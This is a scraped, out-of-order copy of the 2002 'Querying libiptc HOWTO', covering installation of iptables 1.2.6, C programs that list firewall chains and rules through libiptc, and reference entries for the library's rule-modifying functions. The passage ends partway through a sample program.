   1114.4k:  113.6k  191.7k  340.7k  468.4k
   1118.4k:  113.7k  194.3k  340.5k  469.9k

bw show us how flows are controlling using queue disciplines of the Linux kernel. As you see, CBQ queue discipline is not a very precise queue but you more or less have a flow of approximately 1000=100+200+300+400 on interface eth0.

To step back, write and run as follows:

bash# tc qdisc del dev eth0 root handle 1:0 cbq

on PC #1, to delete the main (root) queue discipline and owned classes and filters.

bash# killall nc

on PC #2 and PC #1, to stop netcat.

bash# iptables -F
bash# iptables -X

on PC #1, to clear iptables rules and chains.

bash# Ctrl-C

on PC #1, tty1 to stop bw bandwidth meter.

Prev | Home | Next
Bandwidth meter |  | Some interesting links


Credits

Querying libiptc HOWTO
Prev Next

4. Credits

I want to thank the following people and organizations who had helped me, directly or not, to make this document possible:

  • My wife Cielo and my sons Jose, Dario and Gustavo by their patient and support.

  • Linux Documentation Project for publishing and uploading my document.

  • The site http://www.docum.org drived by Stef Coene that give me some ideas for writing this document.

  • Paul "Rusty" Rusell who write the kernel firewall code, the excelent package iptables and the associated library libiptc.

  • Harald Welte who write the utility iptables-save.

  • Alexey Kuznetsov who write the kernel queue discipline code and the excelent package iproute2.

  • Tabatha Persad from the Linux Documentation Project who revised my english syntax and writing, gave me several ideas to improve the content and encouraged me to learn and use DocBook to write the final version of this document.

Prev | Home | Next
Disclaimer |  | Objectives


Disclaimer

Querying libiptc HOWTO
Prev Next

3. Disclaimer

I took this "disclaimer" from Linux-Advance Networking Overview by Saravanan Radhakrishnan (08-1999) because it applies in my own case:

All the text in this document is completely based on my understanding of implementations of various features. I have read some documents and have seen the code myself, and I described them based on my understanding. If the reader notices any concept description which appears to be contrary to their understanding of the concept, the issue can be taken up for discussion and corrections will be made to the document as necessary. I would appreciate any suggestions and comments made in order to improve the quality of this document.

Prev | Home | Next
Translations |  | Credits


How did I obtain this knowledge?

Querying libiptc HOWTO
Prev Next

7. How did I obtain this knowledge?

Just looking at code in iptables 1.2.6 package and especially at program iptables-save.c that use libiptc to dump information from firewalling kernel code.

I will try to be very pragmatic and clear in order to make this HOWTO useful.

Prev | Home | Next
What is libiptc? |  | Previous knowledge and system requirements


How to create your program(s)

Querying libiptc HOWTO
Prev Next

10. How to create your program(s)

Create your program(s) in /usr/local/src; this way you will not have problems with gcc looking for files in the "include" section.

Your program(s) would be something like this:

/* My program */

#include <getopt.h>
#include <sys/errno.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
#include <time.h>
#include "libiptc/libiptc.h"
#include "iptables.h"

int main(void)
{
  /* Use always this part for your programs .... From here ... **** */
  iptc_handle_t h;
  const char *chain = NULL;
  const char *tablename = NULL;

  program_name = "my_program";
  program_version = NETFILTER_VERSION;
  /* .... To here .... ******************************************** */

  /* From here you write your own code */
  .... your code ...
  ....
  ....

} /* main */

  • The "include" section is a must in your c/c++ program(s).

  • If you are using c++ do not forget to write extern "C" for these include.

Prev | Home | Next
Installing iptables + libiptc |  | Functions to query libiptc


Querying libiptc HOWTO

Leonardo Balliache

leonardo@opalsoft.net

Version 0.1 - April 30, 2002

Revision History
Revision 0.1 2002-04-30 Revised by: lb
Initial release.
Table of Contents
1. Legal Notice
2. Translations
3. Disclaimer
4. Credits
5. Objectives
6. What is libiptc?
7. How did I obtain this knowledge?
8. Previous knowledge and system requirements
9. Installing iptables + libiptc
10. How to create your program(s)
11. Functions to query libiptc
11.1. iptc_init
11.2. iptc_strerror
11.3. iptc_first_chain
11.4. iptc_next_chain
11.5. iptc_is_chain
11.6. iptc_builtin
11.7. iptc_first_rule
11.8. iptc_next_rule
11.9. iptc_get_target
11.10. iptc_get_policy
11.11. iptc_read_counter
12. Functions to modify firewalling rules and statistics
12.1. iptc_commit
12.2. iptc_insert_entry
12.3. iptc_replace_entry
12.4. iptc_append_entry
12.5. iptc_delete_num_entry
12.6. iptc_flush_entries
12.7. iptc_zero_entries
12.8. iptc_create_chain
12.9. iptc_delete_chain
12.10. iptc_rename_chain
12.11. iptc_set_policy
12.12. iptc_zero_counter
12.13. iptc_set_counter
13. Bandwidth meter
14. Controlling flows
15. Some interesting links
16. About the author
Next
Legal Notice


Installing iptables + libiptc

Querying libiptc HOWTO
Prev Next

9. Installing iptables + libiptc

To install libiptc follow these steps:

  1. Download iptables-1.2.6.tar.bz2 from http://netfilter.samba.org/.

  2. Copy the iptables tar file into /usr/local/src:

    bash# cp iptables-1.2.6.tar.bz2 /usr/local/src

  3. Unpack:

    bash# tar xjvf iptables-1.2.6.tar.bz2

  4. Go into the iptables directory:

    bash# cd iptables-1.2.6

  5. Check to see if your kernel needs some aditional patches with:

    bash# make pending-patches KERNEL_DIR=/usr/src/linux

    If your kernel source is located somewhere other than in /usr/src/linux, replace the kernel source directory in the command line above with your source directory.

    Be careful with this option. This command invokes patch-o-matic, a new patch verification utility by Rusty Russell. The utility will show you a list of new patches (some proposed, some submitted, some accepted) available for your kernel source. As Rusty himself says, "Some of these new patches have bugs", and you do not have to apply all of them.

    Read the information showed for each patch carefully and answer with y (apply the patch) or N (skip this patch). In some cases answering y will try to apply the patch, but if the patch finds some differences between your sources, it will be skipped and the next new one presented.

    I did not apply any of the proposed patches and kept my kernel in its original state before continuing to the next step.

  6. Make the iptables package with:

    bash# make KERNEL_DIR=/usr/src/linux

    Again, if your kernel source is not at /usr/src/linux, replace the kernel source directory in the command above.

    If all goes right the compiler will finish without errors.

  7. Before the next step, check to see if you have installed iptables package by typing:

    bash# rpm -q iptables

    If the iptables rpm is installed, you will see the name and version of the package, similar to:

    iptables-1.1.2-13

    In this case un-install with:

    bash# rpm -e iptables

  8. Install the new created package:

    bash# make install KERNEL_DIR=/usr/src/linux

    Again, check your kernel source directory.

    This command will install the binaries (iptables, iptables-save, iptables-restore) in /usr/local/sbin, the manuals in /usr/local/man/man8 and the modules in /usr/local/lib/iptables.

  9. Finally install the headers, development libraries and associated development man pages, with:

    bash# make install-devel

    This command will install the libiptc library in /usr/local/lib.

    I think something must be wrong with this command. It does not install all headers files properly, so you must install them yourself using:

    bash# cd /usr/local/src/iptables-1.2.6
bash# cp include/iptables.h /usr/local/include
bash# cp include/iptables_common.h /usr/local/include
bash# mkdir /usr/local/include/libiptc
bash# cp include/libiptc/libiptc.h /usr/local/include/libiptc
bash# cp include/libiptc/ipt_kernel_headers.h /usr/local/include/libiptc
bash# cp iptables.o /usr/local/lib

    iptables.o is needed above to compile programs to get rule information from netfilter.

    Now you are ready to create programs that can communicate directly with libiptc.

Prev | Home | Next
Previous knowledge and system requirements |  | How to create your program(s)


Legal Notice

Querying libiptc HOWTO
Prev Next

1. Legal Notice

This document is free; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This document is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You can get a copy of the GNU GPL here.

Prev | Home | Next
Querying libiptc HOWTO |  | Translations


Functions to modify firewalling rules and statistics

Querying libiptc HOWTO
Prev Next

12. Functions to modify firewalling rules and statistics

For those of you who are a little brave, libiptc has a group of functions to directly modify the firewalling rules and statistics (use of iptables is really the safest way).

These functions are not covered by this HOWTO and I will limit myself to presenting improved information taken from libiptc.h and the Linux netfilter Hacking HOWTO by Rusty Russell.

12.1. iptc_commit

Name: iptc_commit

Usage: Makes the actual changes.

Prototype: int iptc_commit(iptc_handle_t *handle)

Description: The tables that you change are not written back until the iptc_commit() function is called. This means it is possible for two library users operating on the same chain to race each other; locking would be required to prevent this, and it is not currently done. There is no race with counters, however; counters are added back in to the kernel in such a way that counter increments between the reading and writing of the table still show up in the new table. To protect the status of the system you must commit your changes.

Parameters: handle is a pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Returns integer value 1 (true) if successful; returns integer value 0 (false) if fails. In this case errno is set to the error number generated. Use iptc_strerror to get a meaningful information about the problem. If errno == 0, it means there was a version error (ie. upgrade libiptc).

12.2. iptc_insert_entry

Name: iptc_insert_entry

Usage: Insert a new rule in a chain.

Prototype: int iptc_insert_entry(const ipt_chainlabel chain, const struct ipt_entry *e, unsigned int rulenum, iptc_handle_t *handle)

Description: This function insert a rule defined in structure type ipt_entry in chain chain into position defined by integer value rulenum. Rule numbers start at 1 for the first rule.

Parameters: chain is a char pointer to the name of the chain to be modified; e is a pointer to a structure of type ipt_entry that contains information about the rule to be inserted. The programmer must fill the fields of this structure with values required to define his or her rule before passing the pointer as parameter to the function. rulenum is an integer value defined the position in the chain of rules where the new rule will be inserted. Rule numbers start at 1 for the first rule. handle is a pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Returns integer value 1 (true) if successful; returns integer value 0 (false) if fails. In this case errno is set to the error number generated. Use iptc_strerror to get a meaningful information about the problem. If errno == 0, it means there was a version error (ie. upgrade libiptc).

12.3. iptc_replace_entry

Name: iptc_replace_entry

Usage: Replace an old rule in a chain with a new one.

Prototype: int iptc_replace_entry(const ipt_chainlabel chain, const struct ipt_entry *e, unsigned int rulenum, iptc_handle_t *handle)

Description: This function replace the entry rule in chain chain positioned at rulenum with the rule defined in structure type ipt_entry. Rule numbers start at 1 for the first rule.

Parameters: chain is a char pointer to the name of the chain to be modified; e is a pointer to a structure of type ipt_entry that contains information about the rule to be inserted. The programmer must fill the fields of this structure with values required to define his or her rule before passing the pointer as parameter to the function. rulenum is an integer value defined the position in the chain of rules where the old rule will be replaced by the new one. Rule numbers start at 1 for the first rule. handle is a pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Returns integer value 1 (true) if successful; returns integer value 0 (false) if fails. In this case errno is set to the error number generated. Use iptc_strerror to get a meaningful information about the problem. If errno == 0, it means there was a version error (ie. upgrade libiptc).

12.4. iptc_append_entry

Name: iptc_append_entry

Usage: Append a new rule in a chain.

Prototype: int iptc_append_entry(const ipt_chainlabel chain, const struct ipt_entry *e, iptc_handle_t *handle)

Description: This function append a rule defined in structure type ipt_entry in chain chain (equivalent to insert with rulenum = length of chain).

Parameters: chain is a char pointer to the name of the chain to be modified; e is a pointer to a structure of type ipt_entry that contains information about the rule to be appended. The programmer must fill the fields of this structure with values required to define his or her rule before passing the pointer as parameter to the function. handle is a pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Returns integer value 1 (true) if successful; returns integer value 0 (false) if fails. In this case errno is set to the error number generated. Use iptc_strerror to get a meaningful information about the problem. If errno == 0, it means there was a version error (ie. upgrade libiptc).

12.5. iptc_delete_num_entry

Name: iptc_delete_num_entry

Usage: Delete a rule in a chain.

Prototype: int iptc_delete_num_entry(const ipt_chainlabel chain, unsigned int rulenum, iptc_handle_t *handle)

Description: This function delete the entry rule in chain chain positioned at rulenum. Rule numbers start at 1 for the first rule.

Parameters: chain is a char pointer to the name of the chain to be modified; rulenum is an integer value defined the position in the chain of rules where the rule will be deleted. handle is a pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Returns integer value 1 (true) if successful; returns integer value 0 (false) if fails. In this case errno is set to the error number generated. Use iptc_strerror to get a meaningful information about the problem. If errno == 0, it means there was a version error (ie. upgrade libiptc).

12.6. iptc_flush_entries

Name: iptc_flush_entries

Usage: Empty a chain.

Prototype: int iptc_flush_entries(const ipt_chainlabel chain, iptc_handle_t *handle)

Description: This function flushes the rule entries in the given chain (ie. empties chain).

Parameters: chain is a char pointer to the name of the chain to be flushed; handle is a pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Returns integer value 1 (true) if successful; returns integer value 0 (false) if fails. In this case errno is set to the error number generated. Use iptc_strerror to get a meaningful information about the problem. If errno == 0, it means there was a version error (ie. upgrade libiptc).

12.7. iptc_zero_entries

Name: iptc_zero_entries

Usage: Zeroes the chain counters.

Prototype: int iptc_zero_entries(const ipt_chainlabel chain, iptc_handle_t *handle)

Description: This function zeroes the counters in the given chain.

Parameters: chain is a char pointer to the name of the chain which counters will be zero; handle is a pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Returns integer value 1 (true) if successful; returns integer value 0 (false) if fails. In this case errno is set to the error number generated. Use iptc_strerror to get a meaningful information about the problem. If errno == 0, it means there was a version error (ie. upgrade libiptc).

12.8. iptc_create_chain

Name: iptc_create_chain

Usage: Create a new chain.

Prototype: int iptc_create_chain(const ipt_chainlabel chain, iptc_handle_t *handle)

Description: This function create a new chain in the table.

Parameters: chain is a char pointer to the name of the chain to be created; handle is a pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Returns integer value 1 (true) if successful; returns integer value 0 (false) if fails. In this case errno is set to the error number generated. Use iptc_strerror to get a meaningful information about the problem. If errno == 0, it means there was a version error (ie. upgrade libiptc).

12.9. iptc_delete_chain

Name: iptc_delete_chain

Usage: Delete a chain.

Prototype: int iptc_delete_chain(const ipt_chainlabel chain, iptc_handle_t *handle)

Description: This function delete the chain identified by the char pointer chain in the table.

Parameters: chain is a char pointer to the name of the chain to be deleted; handle is a pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Returns integer value 1 (true) if successful; returns integer value 0 (false) if fails. In this case errno is set to the error number generated. Use iptc_strerror to get a meaningful information about the problem. If errno == 0, it means there was a version error (ie. upgrade libiptc).

12.10. iptc_rename_chain

Name: iptc_rename_chain

Usage: Rename a chain.

Prototype: int iptc_rename_chain(const ipt_chainlabel oldname, const ipt_chainlabel newname, iptc_handle_t *handle)

Description: This function rename the chain identified by the char pointer oldname to a new name newname in the table.

Parameters: oldname is a char pointer to the name of the chain to be renamed, newname is the new name; handle is a pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Returns integer value 1 (true) if successful; returns integer value 0 (false) if fails. In this case errno is set to the error number generated. Use iptc_strerror to get a meaningful information about the problem. If errno == 0, it means there was a version error (ie. upgrade libiptc).

12.11. iptc_set_policy

Name: iptc_set_policy

Usage: Set the policy in a built-in chain.

Prototype: int iptc_set_policy(const ipt_chainlabel chain, const ipt_chainlabel policy, struct ipt_counters *counters, iptc_handle_t *handle)

Description: This function set the policy in chain chain to the value represented by the char pointer policy. If you want to set at the same time the counters of the chain, fill those values in a structure of type ipt_counters and pass a pointer to it as parameter counters. Be careful: the chain must be a built-in chain.

Parameters: chain is a char pointer to the name of the chain to be modified; policy is a char pointer to the name of the policy to be set. counters is a pointer to an ipt_counters structure to be used to set the counters of the chain. handle is a pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Returns integer value 1 (true) if successful; returns integer value 0 (false) if fails. In this case errno is set to the error number generated. Use iptc_strerror to get a meaningful information about the problem. If errno == 0, it means there was a version error (ie. upgrade libiptc).

12.12. iptc_zero_counter

Name: iptc_zero_counter

Usage: Zero counters of a rule in a chain.

Prototype: int iptc_zero_counter(const ipt_chainlabel chain, unsigned int rulenum, iptc_handle_t *handle)

Description: This function zero packet and byte counters of the entry rule in chain chain positioned at rulenum. Rule numbers start at 1 for the first rule.

Parameters: chain is a char pointer to the name of the chain to be modified; rulenum is an integer value defined the position in the chain of rules of the rule which counters will be zero. handle is a pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Returns integer value 1 (true) if successful; returns integer value 0 (false) if fails. In this case errno is set to the error number generated. Use iptc_strerror to get a meaningful information about the problem. If errno == 0, it means there was a version error (ie. upgrade libiptc).

12.13. iptc_set_counter

Name: iptc_set_counter

Usage: Set counters of a rule in a chain.

Prototype: int iptc_set_counter(const ipt_chainlabel chain, unsigned int rulenum, struct ipt_counters *counters, iptc_handle_t *handle)

Description: This function set packet and byte counters of the entry rule in chain chain positioned at rulenum with values passed in a type structure ipt_counters. Rule numbers start at 1 for the first rule.

Parameters: chain is a char pointer to the name of the chain to be modified; rulenum is an integer value defined the position in the chain of rules of the rule which counters will be set. counters is a pointer to an ipt_counters structure to be used to set the counters of the rule; the programmer must fill the fields of this structure with values to be set. handle is a pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Returns integer value 1 (true) if successful; returns integer value 0 (false) if fails. In this case errno is set to the error number generated. Use iptc_strerror to get a meaningful information about the problem. If errno == 0, it means there was a version error (ie. upgrade libiptc).

Prev | Home | Next
Functions to query libiptc |  | Bandwidth meter


Objectives

Querying libiptc HOWTO
Prev Next

5. Objectives

This HOWTO explains how to use the libiptc library included in the iptables package. This document can show you how to use short C or C++ programs to query the internal structure of the firewalling code, to check chains and rules, packet and byte counters, and in a second phase, if you are a little "brave", to modify them.

You can find the latest version of this document at Querying libiptc HOWTO.html.

If you have suggestions to help make this document better, please submit your ideas to me at the following address: leonardo@opalsoft.net.

While I wrote this HOWTO, I developed a simple bandwith meter using user-defined chains to get the data to be measured. This idea was conceived looking at monitor.pl, a simple perl program for bandwith measurement, written by Stef Coene at http://www.docum.org. I recommend this site to people interested in bandwidth control and measurement.

Prev | Home | Next
Credits |  | What is libiptc?


Previous knowledge and system requirements

Querying libiptc HOWTO
Prev Next

8. Previous knowledge and system requirements

You have to have some previous knowledge to follow this document:

  1. Very important: You must know how to use the iptables package as a user, such as how to create or list rules and user chains. You do not need to be a firewall expert, but you should know how to use iptables fluently.

  2. You have to have kernel sources installed in your system, in /usr/src/linux as usual.

    I am using a 2.4.16 kernel in a SuSE 7.1 Linux environment. You need 2.4.x kernel code to follow this HOWTO, preferably kernel 2.4.16. For SuSE you can get the kernel sources at ftp://ftp.gwdg.de/pub/linux/suse/ftp.suse.com/suse/i386/update.

  3. You have to know how to compile the kernel if you have to update your kernel version. After activating the netfilter options using make menuconfig, you must compile and install the kernel as usual.

  4. Reboot your new kernel using init 6. Ensure that you backup a copy of your previous kernel in lilo in case you encounter a problem and need to retrace your steps.

  5. Be sure that your new 2.4.x kernel is running fine. To install iptables-1.2.6 you will need to patch the kernel again (and re-compile and install it), and it is better if you follow the previous two steps to ensure that your kernel is running right before applying new iptables patches.

Prev | Home | Next
How did I obtain this knowledge? |  | Installing iptables + libiptc


Functions to query libiptc

Querying libiptc HOWTO
Prev Next

11. Functions to query libiptc

This section explains which functions allow you to query libiptc. We will use the header file of libiptc, file usr/local/include/libiptc/libiptc.h, containing prototypes of each function as a reference to develop our explanation.

I have also included a brief description (when available) taken from Linux netfilter Hacking HOWTO within each function explanation.

11.1. iptc_init

Name: iptc_init

Usage: Takes a snapshot of the rules.

Prototype: iptc_handle_t iptc_init(const char *tablename)

Description: This function must be called as initiator before any other function can be called.

Parameters: tablename is the name of the table we need to query and/or modify; this could be filter, mangle, nat, etc.

Returns: Pointer to a structure of type iptc_handle_t that must be used as main parameter for the rest of functions we will call from libiptc. iptc_init returns the pointer to the structure or NULL if it fails. If this happens you can invoke iptc_strerror to get information about the error. See below.

Have a look at this section of code in file iptables-save.c for how to invoke this function:

  h = iptc_init(tablename);
  if (!h)
    exit_error(OTHER_PROBLEM, "Can't initialize: %s\n",iptc_strerror(errno));

11.2. iptc_strerror

Name: iptc_strerror

Usage: Translates error numbers into more human-readable form.

Prototype: const char *iptc_strerror(int err)

Description: This function returns a more meaningful explanation of a failure code in the iptc library. If a function fails, it will always set errno. This value can be passed to iptc_strerror() to yield an error message.

Parameters: err is an integer indicating the error number.

Returns: Char pointer containing the error description.

11.3. iptc_first_chain

Name: iptc_first_chain

Usage: Iterator functions to run through the chains.

Prototype: const char *iptc_first_chain(iptc_handle_t *handle)

Description: This function returns the first chain name in the table.

Parameters: Pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Char pointer to the name of the chain.

11.4. iptc_next_chain

Name: iptc_next_chain

Usage: Iterator functions to run through the chains.

Prototype: const char *iptc_next_chain(iptc_handle_t *handle)

Description: This function returns the next chain name in the table; NULL means no more chains.

Parameters: Pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Char pointer to the name of the chain.

These two previous functions allow to us to iterate through the chains of the table getting the name of each of the chains; iptc_first_chain returns the name of the first chain of the table; iptc_next_chain returns the name of next chains and NULL when the function reaches the end.

We can create Program #1 to exercise our understanding of these previous four functions:

/*
 * How to use libiptc- program #1
 * /usr/local/src/p1.c
 */

#include <getopt.h>
#include <sys/errno.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
#include <time.h>
#include "libiptc/libiptc.h"
#include "iptables.h"

int main(void)
{
  iptc_handle_t h;
  const char *chain = NULL;
  const char *tablename = "filter";

  program_name = "p1";
  program_version = NETFILTER_VERSION;

  h = iptc_init(tablename);
  if ( !h )   {
     printf("Error initializing: %s\n", iptc_strerror(errno));
    exit(errno);
  }

  for (chain = iptc_first_chain(&h); chain; chain = iptc_next_chain(&h))  {
    printf("%s\n", chain);
  }

  exit(0);

} /* main */

Write this program and save it as p1.c in /usr/local/src.

Now write this "bash" script to simplify the compiling process:

#!/bin/bash

gcc -Wall -Wunused -DNETFILTER_VERSION=\"1.2.6\" -rdynamic -o $1 $1.c \
/usr/local/lib/iptables.o /usr/local/lib/libiptc.a -ldl

Save it as ipt-cc and do not forget to chmod 0700 ipt-cc.

Now compile your p1 program:

bash# ./ipt-cc p1

And run it:

bash# ./p1

You will get:

INPUT
FORWARD
OUTPUT

These are the three built-in iptables chains.

Now create some new chains using iptables and run your program again:

bash# iptables -N chain_1
bash# iptables -N chain_2
bash# ./p1

You will get:

INPUT
FORWARD
OUTPUT
chain_1
chain_2

Try to generate an error initializing tablename to myfilter instead of filter. When you compile and execute your program again, you will get:

Error initializing: Table does not exist (do you need to insmod?)

iptables informs you that myfilter does not exist as a table.

11.5. iptc_is_chain

Name: iptc_is_chain

Usage: Check if a chain exists.

Prototype: int iptc_is_chain(const char *chain, const iptc_handle_t handle)

Description: This function checks to see if the chain described in the parameter chain exists in the table.

Parameters: chain is a char pointer containing the name of the chain we want to check to. handle is a pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: integer value 1 (true) if the chain exists; integer value 0 (false) if the chain does not exist.

11.6. iptc_builtin

Name: iptc_builtin

Usage: Is this a built-in chain?

Prototype: int iptc_builtin(const char *chain, const iptc_handle_t handle)

Description: This function is used to check if a given chain name is a built-in chain or not.

Parameters: chain is a char pointer containing the name of the chain we want to check to. handle is a pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Returns integer value 1 (true) if the given chain name is the name of a builtin chain; returns integer value 0 (false) is not.

11.7. iptc_first_rule

Name: iptc_first_rule

Usage: Get first rule in the given chain.

Prototype: const struct ipt_entry *iptc_first_rule(const char *chain, iptc_handle_t *handle)

Description: This function returns a pointer to the first rule in the given chain name; NULL for an empty chain.

Parameters: chain is a char pointer containing the name of the chain we want to get the rules to. handle is a pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Returns a pointer to an ipt_entry structure containing information about the first rule of the chain. See below for an explanation of this structure.

11.8. iptc_next_rule

Name: iptc_next_rule

Usage: Get the next rule in the given chain.

Prototype: const struct ipt_entry *iptc_next_rule(const struct ipt_entry *prev, iptc_handle_t *handle)

Description: This function returns a pointer to the next rule in the given chain name; NULL means the end of the chain.

Parameters: prev is a pointer to a structure of type ipt_entry that must be obtained first by a previous call to the function iptc_first_rule. In order to get the second and subsequent rules you have to pass a pointer to the structure containing the information about the previous rule of the chain. handle is a pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Returns a pointer to an ipt_entry structure containing information about the next rule of the chain. See below for an explanation of this structure.

11.9. iptc_get_target

Name: iptc_get_target

Usage: Get a pointer to the target name of this entry.

Prototype: const char *iptc_get_target(const struct ipt_entry *e, iptc_handle_t *handle)

Description: This function gets the target of the given rule. If it is an extended target, the name of that target is returned. If it is a jump to another chain, the name of that chain is returned. If it is a verdict (eg. DROP), that name is returned. If it has no target (an accounting-style rule), then the empty string is returned. Note that this function should be used instead of using the value of the verdict field of the ipt_entry structure directly, as it offers the above further interpretations of the standard verdict.

Parameters: e is a pointer to a structure of type ipt_entry that must be obtained first by a previous call to the function iptc_first_rule or the function iptc_next_rule. handle is a pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Returns a char pointer to the target name. See Description above for more information.

Now it is time to explain the ipt_entry structure; these pieces of code are taken from iptables package sources:

/* Internet address. */
struct in_addr {
  __u32  s_addr;
};

/* Yes, Virginia, you have to zero the padding. */
struct ipt_ip {
  /* Source and destination IP addr */
  struct in_addr src, dst;
  /* Mask for src and dest IP addr */
  struct in_addr smsk, dmsk;
  char iniface[IFNAMSIZ], outiface[IFNAMSIZ];
  unsigned char iniface_mask[IFNAMSIZ], outiface_mask[IFNAMSIZ];

  /* Protocol, 0 = ANY */
  u_int16_t proto;

  /* Flags word */
  u_int8_t flags;
  /* Inverse flags */
  u_int8_t invflags;
};

struct ipt_counters
{
  u_int64_t pcnt, bcnt;      /* Packet and byte counters */
};

/* This structure defines each of the firewall rules.  Consists of 3
   parts which are 1) general IP header stuff 2) match specific
   stuff 3) the target to perform if the rule matches */
struct ipt_entry
{
  struct ipt_ip ip;

  /* Mark with fields that we care about. */
  unsigned int nfcache;

  /* Size of ipt_entry + matches */
  u_int16_t target_offset;
  /* Size of ipt_entry + matches + target */
  u_int16_t next_offset;

  /* Back pointer */
  unsigned int comefrom;

  /* Packet and byte counters. */
  struct ipt_counters counters;

  /* The matches (if any), then the target. */
  unsigned char elems[0];
};

An ipt_entry structure contains:

  • An ipt_ip structure containing (for the rule) the source address and netmask (ip.src.s_addr, ip.smsk.s_addr), the destination address and netmask (ip.dst.s_addr, ip.dmsk.s_addr), the protocol (ip.proto), a flags field (invflags) to check for inverse (!) selections (eg. ! 192.168.2.0/24, ! eth0, ! tcp, etc), the input interface (iniface), the output interface (outiface), the input (iniface_mask) and output (outiface_mask) interface masks and the flags field to check for fragmented packets.

  • An ipt_counters structure containing the packet (pcnt) and byte (bcnt) counter of the rule. This information is important for bandwidth measurement.

  • target_offset that is used to get the target information of the rule.

  • Unknown fields: nfcache, comefrom, elems, next_offset. If someone can give me a feedback about these fields I would be grateful.

A simple way to work with all this information is to borrow some functions from iptables-save.c by Paul Russell and Harald Welte.

Here is another sample program Program #2 written with a lot of help from Russell-Welte:

/*
 * How to use libiptc- program #2
 * /usr/local/src/p1.c
 */

#include <getopt.h>
#include <sys/errno.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
#include <time.h>
#include "libiptc/libiptc.h"
#include "iptables.h"

/* Here begins some of the code taken from iptables-save.c **************** */
#define IP_PARTS_NATIVE(n)      \
(unsigned int)((n)>>24)&0xFF,   \
(unsigned int)((n)>>16)&0xFF,   \
(unsigned int)((n)>>8)&0xFF,    \
(unsigned int)((n)&0xFF)

#define IP_PARTS(n) IP_PARTS_NATIVE(ntohl(n))

/* This assumes that mask is contiguous, and byte-bounded. */
static void
print_iface(char letter, const char *iface, const unsigned char *mask,
      int invert)
{
  unsigned int i;

  if (mask[0] == 0)
    return;

  printf("-%c %s", letter, invert ? "! " : "");

  for (i = 0; i < IFNAMSIZ; i++) {
    if (mask[i] != 0) {
      if (iface[i] != '\0')
        printf("%c", iface[i]);
    } else {
      /* we can access iface[i-1] here, because
       * a few lines above we make sure that mask[0] != 0 */
      if (iface[i-1] != '\0')
        printf("+");
      break;
    }
  }

  printf(" ");
}

/* These are hardcoded backups in iptables.c, so they are safe */
struct pprot {
  char *name;
  u_int8_t num;
};

/* FIXME: why don't we use /etc/protocols ? */
static const struct pprot chain_protos[] = {
  { "tcp", IPPROTO_TCP },
  { "udp", IPPROTO_UDP },
  { "icmp", IPPROTO_ICMP },
  { "esp", IPPROTO_ESP },
  { "ah", IPPROTO_AH },
};

static void print_proto(u_int16_t proto, int invert)
{
  if (proto) {
    unsigned int i;
    const char *invertstr = invert ? "! " : "";

    for (i = 0; i < sizeof(chain_protos)/sizeof(struct pprot); i++)
      if (chain_protos[i].num == proto) {
        printf("-p %s%s ",
               invertstr, chain_protos[i].name);
        return;
      }

    printf("-p %s%u ", invertstr, proto);
  }
}

static int print_match(const struct ipt_entry_match *e,
      const struct ipt_ip *ip)
{
  struct iptables_match *match
    = find_match(e->u.user.name, TRY_LOAD);

  if (match) {
    printf("-m %s ", e->u.user.name);

    /* some matches don't provide a save function */
    if (match->save)
      match->save(ip, e);
  } else {
    if (e->u.match_size) {
      fprintf(stderr,
        "Can't find library for match `%s'\n",
        e->u.user.name);
      exit(1);
    }
  }
  return 0;
}

/* print a given ip including mask if neccessary */
static void print_ip(char *prefix, u_int32_t ip, u_int32_t mask, int invert)
{
  if (!mask && !ip)
    return;

  printf("%s %s%u.%u.%u.%u",
    prefix,
    invert ? "! " : "",
    IP_PARTS(ip));

  if (mask != 0xffffffff)
    printf("/%u.%u.%u.%u ", IP_PARTS(mask));
  else
    printf(" ");
}

/* We want this to be readable, so only print out neccessary fields.
 * Because that's the kind of world I want to live in.  */
static void print_rule(const struct ipt_entry *e,
    iptc_handle_t *h, const char *chain, int counters)
{
  struct ipt_entry_target *t;
  const char *target_name;

  /* print counters */
  if (counters)
    printf("[%llu:%llu] ", e->counters.pcnt, e->counters.bcnt);

  /* print chain name */
  printf("-A %s ", chain);

  /* Print IP part. */
  print_ip("-s", e->ip.src.s_addr,e->ip.smsk.s_addr,
      e->ip.invflags & IPT_INV_SRCIP);

  print_ip("-d", e->ip.dst.s_addr, e->ip.dmsk.s_addr,
      e->ip.invflags & IPT_INV_DSTIP);

  print_iface('i', e->ip.iniface, e->ip.iniface_mask,
        e->ip.invflags & IPT_INV_VIA_IN);

  print_iface('o', e->ip.outiface, e->ip.outiface_mask,
        e->ip.invflags & IPT_INV_VIA_OUT);

